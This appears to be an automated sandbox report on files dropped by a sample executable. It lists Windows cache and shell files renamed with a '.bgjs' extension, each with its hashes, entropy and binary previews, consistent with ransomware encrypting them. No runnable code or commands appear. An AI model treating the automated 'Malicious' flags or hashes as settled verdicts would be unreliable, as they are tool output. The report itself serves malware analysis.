Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.250411635464706
Encrypted:	false
SSDEEP:	6:W15Dve0RW25gmqQzxo09YoczQP/U+bbZQGiXj8fTi5zIrLAwUdUQW3cii96Z:cg04wzu0CDzs/lbbZ2XAfT0zIrUhuQsX
MD5:	D733443AA57720DBF2E78C016D77910B
SHA1:	9E163CB27BAD56C7E02AB64877FC18C08F8BF2B5
SHA-256:	70ABA1E44685D374FEF3CBD5A5ACC43604D27FA7AE3ED10F516C838A2F18D27A
SHA-512:	525D783F6D02F2833AF9FD62C5274E53B3E00E817F15F464B3ED8FF9CF4C0227826EDC2EAC02CF7A6FEAF7B553A028DC4DEAA35E4575DAE0D87CAC730038BD96
Malicious:	false
Preview:	CMMM r\2.oP....Z.,&.}03.VJn..4....V......A...aK......^0.4Gp..X.......Ny.T....g}o..dt_...?...Z1..d.u.._9x.H,..~d.=....W..V.{)M.....mmK Q..W..6....../..t..ZYTA3"..zZT...Z2.&.......icr.$;..<..&.P..KH2.#l.#.[A/U8.O...j..o qK.}..5....".Y.9.2%.x.3[n...../..e...`_w&<..S8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_wide_alternate.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.334119061092947
Encrypted:	false
SSDEEP:	6:BSkcf8/W4ph3igzq6BAtXg+2AQH4j+Bycep+viyjqZvQW3cii96Z:4XE/W4TSeq6f+LX+QfpJ1ZvQscii9a
MD5:	38C45C0C9A314764FBD4E3DC493334C3
SHA1:	445C5DDB62BE1E85C45404CA14140C6EECC602F8
SHA-256:	3F08DB5173ACD5CC56FBCAC26FFD7E7D21367512E7D738EAB3463523FCA66F4B
SHA-512:	8CD5F785F475DEB567ABB4B1CAC4442DD38AED9048D941EC79E903B77ADD21107817023035442DC2D9DECE1DDF0850C7B3331C123A6E7E264FAABD1B8B7D6E83
Malicious:	false
Preview:	CMMM .......qT.p.?5.......F-........E.l..[H.;0...ceI.......5.\|.8.D ..Y.....k.\0.C...Q..Or.....I.~u.ZCx..e..$...4.y#.W...T.`.3.~n..-......>e....F.8.g.gn..A.4..)*.<..%...s..v....Y+.U,.;O..4?..O..V.....Q._....j.F@..F....l..i..]..y..^.%..`...{..m.J.X...~)..N.Le..18Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1280.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.296705940692907
Encrypted:	false
SSDEEP:	6:Qo5YX1cvgv52yMZCZiDBRdlqcmc2YjfwJUvXKuwQW3cii96Z:1vvghWCZKrGUaUjwQscii9a
MD5:	45DB603C103CC292CCDE5C21B08F1A02
SHA1:	EBAA46B686859AF2D2AE893A84A6FA8B0D347BF4
SHA-256:	9D3EE823E1BEC5E69B548B599FAB52CD9FDFBFBD42946B47FB33B220DB8FCF8D
SHA-512:	43019431A79B62F3D90AB2075B09091107E66D85F4E1009326215CF0E984C278729CDC7ACE8A41D38FAB9DCA89A229F864D62B453C82A3FC1261C254979D197A
Malicious:	false
Preview:	CMMM P[.[..i..1..6.W..y...r,s...t3..@.Ncz...]..w.l.e....c..!OQUi.<..pbW..#.....e#.......;Sp....>.......w.h..(.Ze.u\$k.Y...f..1.U..H..Gfj..I8.K..~o/..o...h.27..N7..jS2...>D....\|....'...Q.l+.K~..\h...}[.B...-C..!...:.0R%.a.;.VYZ..f...m.;...4......tq....*....sD..l.Od....Q.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_16.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7685187548804955
Encrypted:	false
SSDEEP:	3072:Kb/mgXyiQpp4KyHBUIzhE7AYmVO3A1gwWiFTRKYf/eaT6DhwMWFpmJMh:NBiizM+WVO3ggvYUYf/PTghwnpl
MD5:	08A8C210E8E38FCC93E369ED7777CE3D
SHA1:	5B0ED76B133B1653534D523737A21B57690CD527
SHA-256:	7D071E17C3ADEF23E7FC44F2B57E575A62EF53A910BB433A81446D9AD42BD3A4
SHA-512:	71BCE8E691BB3960B52A9BC49B661DC3E4E01FE2776A3D3459C97E2D4A45BD46AB31710588A435CBB7FA989918F46EB405D09D172A9561252FC60CF2579BFFF1
Malicious:	false
Preview:	CMMM K...}....R;B.y...}.z.Ly....v.7.?.J..eH.1u.g1..>.->.. ..QSp..0..S..+...Ue5.+........m....P.H.R.4.. ..o/...xWLt....G..}.....N.K=.....L.Q...(&ruF.N.v...=Ck..R....c=.%.+.0.....K../..i..sD?..S..?1f....l.W...'........->...M,..8B....]."..%a.cH......p..T.`1Dt<.o......]..CS..#..K........0..K].J....)7bZ.2.S......{....2.[.....lM..;...V..Z...R.!..,j........S..r..v.K...M.7.2..8ju.7.>..OU2l.....i.....s.. ..,.W.2..?.....'......f......-Aa....J.Uf..,-...?............,en....U.->....z..C...K......-.....h.m..K...........).....3.y..#W....W.S.H.\.m.:...@)..Lwb3,...s.C.C..3.k....T.Q...U<.5.....M.lMU.{...... f.xq....b4..F+-#.{ND...D.4......f.......s32'I....U.....#........V.2.........ID...........Ln!{.....ulx.IZ.x..09.E......x..=..6#.N.Q.(.iN..%`S.#.....]%....Ht...:.4Q..d..........nc.1..#9..3}AA^....x....j.>..G....`.T.q..'.P....F...y:+..P.x........#.%.$...pn.8..fP.........=.).P...P.{....+.....e...Y.mC.`.I...../~ .....Ws.......UY.\|[.J!

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_1920.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.339524280181576
Encrypted:	false
SSDEEP:	6:7Nx0QjQihPaJASlU3IUoSwuFICPEE3AsoMW6Gkhn5+yWQW3cii96Z:7NJjJVSlUkSwuFICs8AJz6Gon8Qsciik
MD5:	2DCA1C1D156578E40F64AA84AB47161D
SHA1:	9BDD1C68C11A0B26A8A5CDD9AAEB3A4FDDA43817
SHA-256:	1395BADC4F8FD6E043ADE588D991C2B3F8BF3085513AE935636EAB83C5C49801
SHA-512:	ECC275D390C90EFDEC95DD88D1393ADD23041B2B409A18CA4CEA5B6FC0CF30E57181008A0ED4781DBC0294A5AE90B6EE20061DE4D8BA8C99A6D694AB1DA4CD1F
Malicious:	false
Preview:	CMMM .,=...p.(....i....c..e;.A(Q..dC........<......R..=.pV....E...2.RrKY.z.{.f.5~I..m.w.'.YC....07.;.....Jn......S..Z,y;).#....F+./.L8!;X....~ld,....._.N.Q......n......l.....ym..e..rIS.@#v..[.(.<-&.........1.,0$..vW.....T...E...}]yo.R.... o..^..d-{.BI;[......."8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_2560.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.30133112406454
Encrypted:	false
SSDEEP:	6:c7ZI78wj0LRnQoKesV3m/A49sOdvlF9qDs4vKl7l0H8uQW3cii96Z:tgwj+RQoKesd6vxlP4Sll0cuQscii9a
MD5:	B80F8480395E3AC026D58A27670B1875
SHA1:	13EBAA64A4DAFF327575D0A445D8FC8E1161C92D
SHA-256:	FA08C00969D0D2FBD314E6DD01B0503BF32664AAD3E82AFB7001119A6F4F34DD
SHA-512:	D35E3F4F93A8CFA35DD3AFB0524EBE787E628360C2E970F21103EC1F1CD11FCB22BB490F2C6DCE0D402D4CE4927E4CCBA342C41D60D130BDF2A511A0ADD431E3
Malicious:	false
Preview:	CMMM ......AFC...'f,.~.9..fP........._..d....+.V.....p.U..4.>5;..k....."....m..y..]...S..... A..P..B.D.....C.:....Ti.#A.m*.[.W..X...F..9=.......U..........q...e...Q4H..$..,.!.%..\eR..8..6..i....Wp......e..m..\R2.8....i.>..}/s..........".YF_...a.`..Tu...pBV.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_32.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7687742337509842
Encrypted:	false
SSDEEP:	3072:dnGobAJesQ1kqOYKBCGmaxImv2LrNNWYPbcSb02OMGiJOemTe4/:8obGesalOIDGyrZI6fOlip0
MD5:	43B998DC4A852C5D57D144EA6612D9F6
SHA1:	C564D284591F7607CC42D4A82842AF11A0E528AD
SHA-256:	EB92D781D8EDE749BC94AB37D639E8647F4706AAFBBDC9047C098AEBA8EA29A5
SHA-512:	5ECBD39028BB60B3C1A7856B127FB4462C650299C4037F15AC86613C8862527717EECBC3E811CCE53087906CC6AED10BDEBF35A286E03F58987038F10921276F
Malicious:	false
Preview:	CMMM ...:H&..gx../.....Q.l...j..k..OB.E.z.VB..r...,...f..?....#...'.i...[k..ad.gq6.I.>.P.5..x..YTsH...P...d..'...2........j.w.F'...q...2.v.rU..)m.y.U.......w.B.....g..mV.By..~5.).S..#..>..p.z....[...6C$9...R..Kk.....G...5..c..\|=.....C..>GD...3...in.....`....F.Z...\!.{!.......r.Q$j....v/!...a.".wD...%.-&..%......e.o..W.O.GNA-..U.....f-..........v....8........LK..n.vkl#..~.5{.R"B7..UI.eV..A.VrV2-.......'R:Q.M.X.Q..G...;...K.:C..:.=SI..i8.............9!2...q}Y.z:1L...... _..uD..:4......~..Dy.U.n.+.'.~r...$V....I,..d..$1..@...T..iy..v.I....w../..^`p..P..............U..JQ....S..N. .....8...9....ca.B.+....}..JZ{-....%......!........B........C..2...c.....u.n.D...h.H.6..LCNK....qf[..o....o....I...R..... ..xe...q..K....>...yq..U.....#7...xU`..]......f......6..J%<...Q...@...G> b..E.<[]....sGl.._....Z..]..gD...>.../.OU..O.N-..z..H.{..j.o...p.#<y.chz..._.......zdt....2Tr2.m.ZtJ..4...}Sz...[,7.4ar. ..5..4.....}W.[.}K...MPSG...9..^.ZwuA

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_768.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.235506954981269
Encrypted:	false
SSDEEP:	6:ADmhEpx3ZjJkPw5FkPBIYh5DuDzQkMvf5BVtmS+t2w4Ea69gXiUuQW3cii96Z:onrjaPykuYXYzqXnVIS+tx4EDS3uQscq
MD5:	6BF96E9680CC92386DB2AB568F9355B7
SHA1:	E3E243CE2B8322643DE344BFE77B114EAD8B6ECD
SHA-256:	884923C532C5211D6BDC0E049FA7B0A66C0770F8F548401D70B978BC5855074E
SHA-512:	FBE2EAE29ABFCED0F3D4F91D9F79878903D232263693461C70CEB0A0F4304E4943383933F66CED4A18F68BE20A590E02CF8AF302C255219A9724B7BF65AFF6CD
Malicious:	false
Preview:	CMMM [.DKJ<...K[0.@.f.. &.3..J..:Xu../7...e.26fP.B./....gc[.(,..Z.].mb.]..m.."a.:...".AY.<.n..Iv....M.#...]M.a7...>.../R..L.....w.K.1...r.." .8..,....s....W........:..Q..P....u.p.......e....^.{......+.D(w.u..o.V....e.o.13...:......I...!@8f.h.L[....).:.&..^..rgO.40.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_custom_stream.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.287992489634908
Encrypted:	false
SSDEEP:	6:z2ln7agXTtBQy1xzOGg72AsVJImvzjX0SUXNCGrohKQW3cii96Z:zwOgDtY372AsVJzvzKXNCLQQscii9a
MD5:	65D08D151AF2794713D42F50AD5E72A3
SHA1:	B7A5BE2E251A8C855E17100CFF1DF86627BFA825
SHA-256:	F2267ECDC5F62B1A2B5A8E78FD31B33F5457E36555B9516957FA2B9DB818F067
SHA-512:	ACF3472F120645E3B129075D271442FDB60704AFBB45F5445F8B15817DE9E2F66AEFB3DDD42F743C0C85262A1E34D9E13B002D88B09E90959849D060E9CE23C7
Malicious:	false
Preview:	CMMM 9...l..........[1..w...4&..#F.!lj^0{...n...B...L....r.... .......f.h....:.....t...$.._..Y]w...w .(U#...C ..E^c...>..:.(.2..g..o.I.9Ot....DU....m.".n.w...Q....R.D...X...+..DR.....\m/....}x..._N...\`h..K..{...5._E.rt:..ON"%M.s...U..k.z.GG*v!m.......q..&yk..-....;.:..u..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_exif.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.27769523165099
Encrypted:	false
SSDEEP:	6:zScnxkFxGZWwq5sLrMqsDuEteUIwzxWLZkUiSQHEM1V5F3nqIjT2QW3cii96Z:z5GmZWwq8AwQeUIexMZkUi3HvrXKQscq
MD5:	D63A57FA51526721F5F38506A949D8EB
SHA1:	6B8061516AE86001ADAC790EDF43100AA3CE7D9B
SHA-256:	40F6C4848C98D42661C7D401BB76A5505B948A87218145C801A2A08384EB69D5
SHA-512:	B371BDFA2665588538E82908524627EB0DD98E43085B70912B31C77C6D449F20CDFA17E88AAD8D57170F1A8C4AE0275D0D5E4824317E07B500BD55CDE397E418
Malicious:	false
Preview:	CMMM ........D...".W*...I..k........EnL.3.4.'...yA... .dQ+.r......}".RC#j.K...:>.n.Wy....].).....F`Ni...b...w...?s..C.$...}......M..O.O0.- ....2.....W.. ..QY.h.o..6.=`.w.....n...Z.aPn....<S.......#....&..;a.&L.Q.,..&.....E.-D.K..t.....9y.....^7.W=...b..l..s>o.H....<}8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_sr.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.279739365494174
Encrypted:	false
SSDEEP:	6:E2q3+9rz/VbtBCi/0ZxxmOcz5rDc3qWnRVzzZdHu7oDuQW3cii96Z:3S+1DVbKKoxxmOcz5n4zuzQscii9a
MD5:	289EF78B200F0C75CD1B831F0299C1AB
SHA1:	191FB84A34EA49F8B619C425B6AFBAD5F3911DED
SHA-256:	FA123FAB2D53A970A8B0D0F43CFC29E513F5A993B609A0C303F6C05D5C5F91FF
SHA-512:	D8DF25C59C8DF72C732EB596CBBDF1289D4E8A1D8C082E36C6A18BFFB2DABFF7253A389C70C284C41673C0A326C34669C9E4D231353416575E7BE98E3D6593F7
Malicious:	false
Preview:	CMMM ~.-T.e!._bt.<....2r..>...y.!#...#g....*..:.^z@....8r.9..+.r_...'..07..yF._...aJ...Ag.u.2.V..H6.6.>...L......:..M`..V....f.E.mdf...#l..G..7....%(.a.i-..........y.+9de5G..9..O..R.....uM.....Y.....uS.q.}.B.j....q..=...\..X.c..?..2mwP.jy.?3.J....wH....p.......8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_wide.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.279667210329472
Encrypted:	false
SSDEEP:	6:vshoj/dNOTSxWC9UOYX7AKr23r+QTtQ2os2jqblzOh4edUQW3cii96Z:3/5m3rq3r+atwXRusUQscii9a
MD5:	9F2CAC2CE609D4BC7DDCB18717141E30
SHA1:	D53F01919B2BBF63B74E8D75A5DAA0AE895AB021
SHA-256:	4B6E7E30B6B32D6362F8CD5993033098A3D4686E64B8E29422A93BECC2B8B43A
SHA-512:	DE4F9BB78BF7621C2F982CDFFAD9224C3F67C34E313B4AC3B177D0DFCEE9838C8BDAB089F6F80E8DC52FE2A6071202A5C4F6683F009382E7748266064F9A02D3
Malicious:	false
Preview:	CMMM ....f.>....P....l.+4`d.+..$'.."....F.N..pX..r...(...[..6.i.....'.....P ..8..........s....gE.n...\|)Z.El..G3.z....^.Dz...$Nh7.h.'.q..IC..../ .....6.....56(..@...Qw..:<U....fQ.@n_[..a.e..1.&..B.J..\.~..CM...\|iD..O.....l^....S...3..`l.b.u....l0.U.YM...\.C.J...x.~8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.248535235391688
Encrypted:	false
SSDEEP:	6:tG5l/Lp6FU6tkNHZgb14Fg/SpeTkODSpsDuE+wUuQW3cii96Z:t7m+CFNKWauE+QQscii9a
MD5:	7D22EEA2ED2BF34894F692B2FC722A6B
SHA1:	884C0A535C470CEABEE7373D0B8755087E5D2640
SHA-256:	DEAF4765B500D55C67F94FC5E8B7358905B081191E36821590F0D9454DBD4426
SHA-512:	4464AEC7378E057B9C027D12D3E97E501DA3BEDBD59DCEFA68CEC6C007EE04849579C0309D29C50E9AE8D8C42794C95DC416CFBA902B95F95D46242DD4F46A52
Malicious:	false
Preview:	CMMM PC...S.6\.....4P.=r..d.{.H...m.....k.O..CE.bR...G.+.....@.Q..B4..'6\|..`.Eg...6._.*`.......tHp.kD.$oVW.+..w..._j._]...;.S").2...M....4.G... @.........:77.'@0.VN&&.Xv. ....T.g....R.>{;.....VN...:..kq..2 .B. +=......Bf...i.j....O......,....s...C....E...H.%GOkX.N..Ir...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	64281
Entropy (8bit):	7.997035390799345
Encrypted:	true
SSDEEP:	1536:CB4ilBpjyrt9s07KOYfJrd/iJjKgKPNktia102UazmZ3j7SFgo:CBBBpwi071erdCKgSattJR2nkgo
MD5:	8D4192763B24E33111153DBE54CB266A
SHA1:	ABD56D145C01E009BF50D910C498D3F1AC12E0BB
SHA-256:	27B16685C00C82AC8B20A4D644002D1E8E9AC3B41FEB752EFD17DAAB03F26408
SHA-512:	FF3E362D4673576DE78CC5AD41B8C645A55169550FFC57E689D9EE0E1D40531EC3170EE39E8FB09D32F793DFD91E96B4FFBC87F48EB29667E74CAA0FB5B31EE6
Malicious:	true
Preview:	<?xml....8...l!....rV.J..x.EU].....fD;.s..L.....F.7,S.G...1.g...e 4.....j3.F/..s..A...?.E.e..<2..v..B...k8..L......H..O`.W..-.G0U.8..$...dj.7..2>.S)w.:..}..n...M..X-.cP......kK1..Z...x...3..1$.. p..(R...g.........C#.....[w..9..1_.]./..X[Y.D:4..F.....[2.....mXas.....?U@.N...o+...+.=..2.Ps.7.R.Y...&..\|O...F.P......a'i=-.'..h..U.b.P.].9..#..w...'.......Z.5...........o..69...3....Y.6....bpb.....\|..7kP..o6..7"..Ld..u4.x. ........\a.._.wL....&.K..wS......7..1u.....E.S4...!.`...c.."."..HKz{.0j.........._,.O4Su.%!..;.X.......8z$Z.cd9.9pN$x..07..n..lh..... ..Z....PsH...6:....#V....u....r...D.+.N.qNV<:O~..`.K.../.''B.w...3\(..7~..4..t..vq..W.Db.J#.[\p..2.A......D..r.o....#..,..x.0`y@..U..........sPb\s.9.h.....;....74..${...2....d7.zj..6.......o..._..M+Q.l.......9d.....h.U.Z.>.N....uJ...j.....b.:l,>.ab..3.x...6k...S..Q..i.....>..$..#.3..q..j.8o.*..%\|...`.~.5.d......J.C..S.....G.......F..c..$..(..&.zs<..........TXL8x..i.?.....J..5.Y;i.j^..

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01.chk.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979616926212837
Encrypted:	false
SSDEEP:	192:mjXiLWr0FEZUp6XqWlQmPHYy328AyDFM+:mriq/ZC6Xq0QmP9m8Ay5d
MD5:	687FAAFBA8018F980ED3C36777E8895A
SHA1:	86BA3C4EF3104DE2B635FC14D1CF8FB76C4A0E5E
SHA-256:	ED96549B895CA3D2BCB145B2745DF3952255B5C8F030E6F29D4C6446E74ACE9D
SHA-512:	D9D237445A8DBAD37B0AB9DF0E99881D925F46D5251DF78B6D417D552080A5291583D267BE3D5D3BF2B25FAF823945E5B2F13C28687F2C3054CEA1112EF6F6B0
Malicious:	false
Preview:	........ej.5!&V..2k.d.%q)sD.{'@.....H.N...K..Qw.....2....q}.O.....3\|9..`M...)7z....~}...'.7!P.......f....>h..M....h..1....F.V....H..E.T#...Nh.aX0..6..2..{...x..8..j.....v...@...<qSr..}.$....L..%zb.....D.'..Ui.}.y..Q@F'.CG....<..e..Opi.R.zY.{;...V5-.j....6...v\....>.vR.$......\|....:....08.P,.1\|{..v^K...>.`1:+...n. .l.(w..8....^.S...N.".Fdl&...e.\|..=gC"x.....-S.c.E.....4.e#.3q....J.`....vR7L....T.@..(l}..)...VA.DB..[.+-Hv.../..^.?E-.0Aq..........................H..9.+.=.{...z..C..YlSL.}...O.{.Y..\|(Z\=D..."P_..Q...@W..^..l:.0..Y....v.vb.Y..o..b..N[.`.$.!T+.h.w.6\|a/.t....6.._.....x.!...8.....+.i.0]..,...}.....l..<;.H.E..t...3..V..._u......}..N.P..c....9b6.!W.........l...a..&.,V..>..8....j........M9.....ot..Kp.5...c8...........].-P.(.Kr...oxx....k.d..es,...bA..~...W...y..3..;.$...dNz...F.z...Ui....o.......k...3C].1....R.YZ.q..._......H.5.q..^@.....#.......7....L...jK..CN...3....^s}.=..G\|..vh,..o.M.u3E.%.~.e..g.u1...a..m O....~.8...c..S...oO...M.....7..

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V0100005.log.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.433867408184525
Encrypted:	false
SSDEEP:	6144:DCb0MiT5SV2nP04aWgs86XiC2NmqEFvCTyUPR5ABk2BoPnEc/qjTA:DChitvPnaWgs82iC2NmEyUZ/qw
MD5:	DE869D4BC5389E35410B4A9E2843E7AE
SHA1:	AB676B6269881F208EEF61C00A55DA43DF208CC4
SHA-256:	35631B89A53AE981A27498998E74FB420C5CB7268CD0191EE8C00DB64C4C6B94
SHA-512:	82F70309A4AA21A2F9744CD5133F46E7B3988CED20F216FA70A19DBC8184D28D06CC34C97DB28C8E85B22C293FC484FF3D6AC50C098150FD39C13EFD2C6FA35F
Malicious:	false
Preview:	..8.... 1Z...-...m..mr6.q..nL.....v.^._....V..~..m...E+..Y........oJDD.....^.+.I.Wy...0..g1.T#...x_.......Ho._..9..Qzr.{...i..I.o.<._~RD.6.Q1N;.m..g.p.1-.B..$.@..s........6..v6..5sA.....9(.A...l.6.Dc........]......e....KB.^g...oG..Y_.2i Y....i>( ..R!p..0I][.7.K....0.a..2...\.i..<....g.T...8Z......e^E..{.b../4l`.....:..<.L..X...)..MzhC..[O.z...t$......m.Gp....M..Z.-=..%...c.e............-..!.......z...x.8n9.0S%Rah/..,%.M... G.B..[q..r."...!.$.......M.Rh...i....m}.Yz..u....4.bG.4.a./...-M.I.....A..UW....l....F......#.z;_H`W2...f..,x...5w.b....HeV[Z.v..<...g.K.e.._.M%Rs....4t..X.'..-...."..."...H.H8.{...d..!X.9.....6...$\|-m../g,c..alf..w...l....Pd..K[Z..g6........6`...:..;.....y&.rx....rh.....\xN.l....\..o.F.r.-....td6...S...!T......km9..1.B.l...UCg\..-._..XLLt#.......1E\|!\PWwZ...p.T.0E.W)<....G....[..'.@..L ....+.g.i.m/2=.......I..f.Yu.....(..e.u.o .....,lp.X....y..\|e&eA_n......s..V.b........F.....q(..h......I..azM...7>M.

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01res00001.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2084383672300807
Encrypted:	false
SSDEEP:	3072:4rtcozUxdASBUC1bcyBO5ANJs6SgBIeDAno5WIGoG2idBu2zWzRbxs2:0wxdd7FdXNWgR4e6WR
MD5:	37B7729792212588AFF5390A3B17AE22
SHA1:	9132684886A586A051398494577A5FBC717A41FC
SHA-256:	0D30A005F498BF1620E863AC7B7BCB193279AC67B85DE939014974CE3F19BC6E
SHA-512:	BF0B37C2E7C15E62EFB9B9C359BA6C316A1DBEB07CDC47786392916A5740E71F11E9AB7E347987042C93ECC5441674F802B08AD7998DBDD3F030291D00BC42CC
Malicious:	false
Preview:	.....W.......P"...RM.../.{..X.,..v........88.....C`..."..)"}....u....i.c.[...z..F=..C........D.<..W{..H........h~...i.rF.J.nD....=..^j.....&..............e.....Fi....nF\|.....G..., ....+...[..-.......!.;z.+...{8fL...O....>.`D2.#.2..`.9"..i.>.J.Zm.j..+..H.....Z...$^t.fXT.<...z.?..;'...FK..q.z."y..He._^...o`......\|2B....&.9.....d.ps8&..p....s.L...#...$.'K%.`.J......=T.cn.q..r..w"P...`.g.Q...u..UCS...m..\)T.R........{3.<."....c........U......I.i1.....a... ......(N..Cs2....".:....d'....7$..7..bS..bV.(H.".E_.....C..UhZ..\............'nK..#......qr..XQ.gD..C\q......r.N.....jNO!Q.Q.l..}.\|....;......Y"4..TWsb.q...&t\=..45.O..Y.Ts..Pq.d...lN..}.[=...b.....5.yE_.T... .].&.LV..".H.]..@~..6......dhz.....QR..;.{N.;..+`.......%c.uU..hA...3..R..m3yu....&.9n....1..:.........>H.d.{.2....vb...T...,...ZH.o.Y..o...v(....\|`......qo..]..e%..v..(...T#..E\|....p#."..n....n..;.$.............O........7M1l."..Ed....#p..1.....h-....m.U..Z....D.n.]^..8:.h"<..0...........;.o8

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01res00002.jrs.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2074353680838668
Encrypted:	false
SSDEEP:	3072:btKVQ4wSo2k8FhOZYNXl6vMnO9ZwGdpUlu3QrtM3dQ:be/wdr8LrNXl6vMO9JdpUw132
MD5:	3204DFC54B15A12520AAAE44852FCEE2
SHA1:	87247674991F94A2DF2D2156AB70EAECFBED2EF7
SHA-256:	B68B5C123C68D4E9456671453C9E22A13E283B478331847CEBD2F9626E9ACC90
SHA-512:	60A750EA2D68DE75D695A5E1D6FCB8146C55754C0174A6C01D1F894801D34B6B4B2DFF71F9BFD1E6239FEEF82A06737C0D33238D274B409310B9C30CC572333D
Malicious:	false
Preview:	.....-..%..9.z.\|:..Jq.X.U..S..K..._".:...U......{.........r.1H...RV.\|[......7....(Y&......._.\.-..D..6........ .y....&8v6...GnMMP.I.V.pj...m...vs.%..b9C.[.. .....J.)..2../.....:tP.......D...wu...."!.....;.Z...?a...r.5W.y...b....x.B^.e.';..8.4.......q..0....ut...r-F_..@........_.&9.u....o7.3...=~...2...HP..).'b.3v.1.}.....'.;.!...4.`.:.D.\.~n...(Ov+..M..o.....8...v..........z.+....R3..B.....p......K........K.u.1.B..QqY.=l..._..0.~..zG.O...3.%F/.FX.....q....{X.<.Z.bKO...29.....9..".......n...:.. <{..~...H_n..N....WZ....R'.s.uE.2e...C0..o.v-.4..;t}EE.T&...p../.m%..=.r.q..;w..!....w..D..f.]..O.......4.C'(.!E.A..n?lM....}........vr.~......Y^..4:..C...eN......%..DN...8."q........XH^.....H..j..;z@......,.N..{?U.........!B.~.....(.I....}..R6].../4..>M..$eA[.f.[.l.TJA.b.... .g=\MF.B)Ws..t1d..dmSX..^r..\.;..S/.........D....-..\.?.'.....T.=B.~...M<..R.Z.h....82Z.].t..:.....]...cB8....[=wM?.e/Bq.9...P..E.Y....U./&...nO....rv_}....l

